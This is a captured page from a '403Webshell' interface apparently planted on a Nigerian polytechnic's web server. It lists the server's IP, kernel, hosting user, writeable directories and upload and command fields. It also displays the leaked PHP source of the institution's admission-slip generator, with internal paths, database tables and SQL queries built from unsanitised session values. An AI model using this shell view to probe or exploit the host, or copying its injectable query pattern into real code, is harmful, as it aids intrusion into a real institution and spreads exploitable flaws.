403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.242.29
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/print/admissionSlip.php
<?php
ob_start();
session_start();
 $formNo=$_SESSION['formNo'];


require_once('../../connect.php');
$db=db_connect();
$sql="select * from admitted where `formNo`='$formNo' or jambNo='$formNo'";
$result=$db->query($sql);
$num=$result->rowCount();

if ($num>0){
    $qry=$db->query("select * from remitaorder where regNo='$formNo'and paymentType='Acceptance Fee' and transApproved='True'");
   echo  $k=$qry->rowCount();

    if ($k>0){
        $qry_fetch=$result->fetch(PDO::FETCH_BOTH);
        $dept=$qry_fetch['course'];

        $sch=$db->query("select dSchool from dept where `dOption`='$dept' ");
        $sch_fetch=$sch->fetch(PDO::FETCH_BOTH);
        $school=$sch_fetch['dSchool'];


        $mode=$qry_fetch['mode'];
        $jambNo=$qry_fetch['jambNo'];
        $name=$qry_fetch['names'];
        $levelID=$qry_fetch['levelID'];
        if ($levelID=='1'){
            $progr='NATIONAL DIPLOMA';
            $type='FULL TIME';
            $k= 'ND - ';
            $duration='Minimum 2 years, Maximum 4 years';
        }elseif($levelID=='3'){
            $progr='HIGHER NATIONAL DIPLOMA';
            $type='FULL TIME';
            $duration='Minimum 2 years, Maximum 4 years';
            $k= 'HND - ';
        }elseif($levelID=='5'){
            $progr='NATIONAL DIPLOMA';
            $type='PART TIME';
            $k= 'ND - ';
            $duration='Minimum 3 years, Maximum 6 years';
        }elseif($levelID=='8'){
            $progr='NATIONAL DIPLOMA';
            $type='DAILY PART TIME';
            $k= 'ND - ';
            $duration='Minimum 2 years, Maximum 4 years';
        }elseif($levelID=='10'){
            $progr='BASIC SCIENCE';
            $type='FULL TIME';
            $k= '';
            $duration='Minimum 1 years, Maximum 1 years';
        }elseif($levelID=='11'){
            $progr='HIGHER NATIONAL DIPLOMA';
            $type='DAILY PART TIME';
            $duration='Minimum 2 years, Maximum 4 years';
            $k= 'HND - ';
        }
//header and footer

        $dateNow=date('l, M d, o, h:i:s a');
        $total=0;
        $mainData='

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ePortal | Admission Letter</title>
<link href="css.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div style="font-size: 16px" class="col-lg-8 col-lg-offset-2">';
        $imageC='../../passportForm/'.$formNo.'.jpg';
        $w=date('o');
        $f=strtoupper(substr($dept,0,3));
        $sola=$jambNo;
        $na=explode(' ',$name);
        //$mainData.='<br>Dear '.$na[0].',<br><br>';

        $sql_stddata=$db->query("select * from stddata where formNo='$formNo' or jambNo='$jambNo'");
        $sql_stddata_count=$sql_stddata->rowCount();
        if ($sql_stddata_count>0){
            $sql_stddata_fetch=$sql_stddata->fetch(PDO::FETCH_BOTH);
            $state=$sql_stddata_fetch['state'];
           // $school=$sql_stddata_fetch['school'];
            $sex=$sql_stddata_fetch['sex'];
        }
        $mainData.='
<div align="center"><img src="../../images/siwesHead.png" width="800" height="95" /></div>';
        $mainData.='<h3><div style="font-size: 14px; text-decoration: underline; text-align: center">2022/2023 PROVISIONAL ADMISSION SLIP </div></h3>';

       $mainData.='<table align="center" width="80%"><tr><td align="left"><b>UTME Reg. No.: </b><br><div style="text-align: center">'.$sola.'</div></td><td><img style="" src="'.$imageC.'" width="100px" height="100px"></td><td align="right"><b>Mode of Admission:</b> <br><div style="text-align: center">'.$type.'</div></td></tr></table>';
        //$mainData.='<table align="center" width="80%"><tr><td align="left"><b>UTME Reg. No.: </b><br><div style="text-align: center">'.$sola.'</div></td><td><div class="container"><div class="tag">Fed. Poly Ede</div><img src="'.$imageC.'" width="100px" height="100px"></div></td><td align="right"><b>Mode of Admission:</b> <br><div style="text-align: center">'.$type.'</div></td></tr></table>';


        $mainData.='<p></p><table border="1" cellspacing="0" width="100%" align="center" class="table-bordered" cellpadding="5">';
        $mainData.='<tr><th colspan="2">Personal Information</th></tr>
<tr><td width="20%">Surname</td><td>'.strtoupper($na[0]).'</td></tr>
<tr><td> Other Name(s)</td><td>'.$na[1].' '.$na[2].'</td></tr>
<tr><td> State of Origin</td><td>'.$state.'</td></tr>
<tr><td> Sex</td><td>'.$sex.'</td></tr>
<tr><th colspan="2">Admission Details</th></tr>
<tr><td> Course Offered</td><td>'.$dept.'</td></tr>
<tr><td>Schoool</td><td>'.$school.'</td></tr>
<tr><td>Session</td><td>2022/2023</td></tr>
</table>';

        $mainData.="<div style='text-align: justify'><p><b>NOTICE </b><ul><li>Candidates are advised to present this admission slip at every stages/points during registration.</li>
<li> The admission given above is correct as at the time the authority of the Polytechnic releases the admission. The Management therefore is not liable for any error caused downloading or printing of this slip by the candidate.</li>
<li> Any alteration on this slip renders it invalid and will lead to automatic withdrawal of admission.</li>
</ul>
<p> Please accept our congratulations.<br>";

        $mainData.="<br>Yours faithfully,";
        $mainData.='<br><img src="../../images/signature.jpg" width="100px" height="50px" />';

        $mainData.="<br><b>BELLO K. A. </b>";

        $mainData.="<br>Admissions Officer";

        $mainData.="<br><i>For Registrar</i></div>";

    }else{
        echo 'Pay For Admission Slip Fees First';
    }
}else{
    echo 'Admission letter not Available';
}

//echo $mainData;


include("../../mpdf/mpdf.php");
$filename='admSlip-'.$formNo.'.pdf';
$mpdf=new mPDF('c');
$mpdf->SetWatermarkImage('../../images/logoBack.png');
$mpdf->showWatermarkImage = true;
$dat=date('l, M d, o, h:i:s a');
$customizedFooter='<img src="../../images/siwesfooter.png"><br><div align="right">'. $dat.'</div>';
$mpdf->WriteHTML($mainData);

$mpdf->setFooter($customizedFooter) ;
$mpdf->Output($filename,'D');
exit;

//echo $mainData;
//echo $mainData2;
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit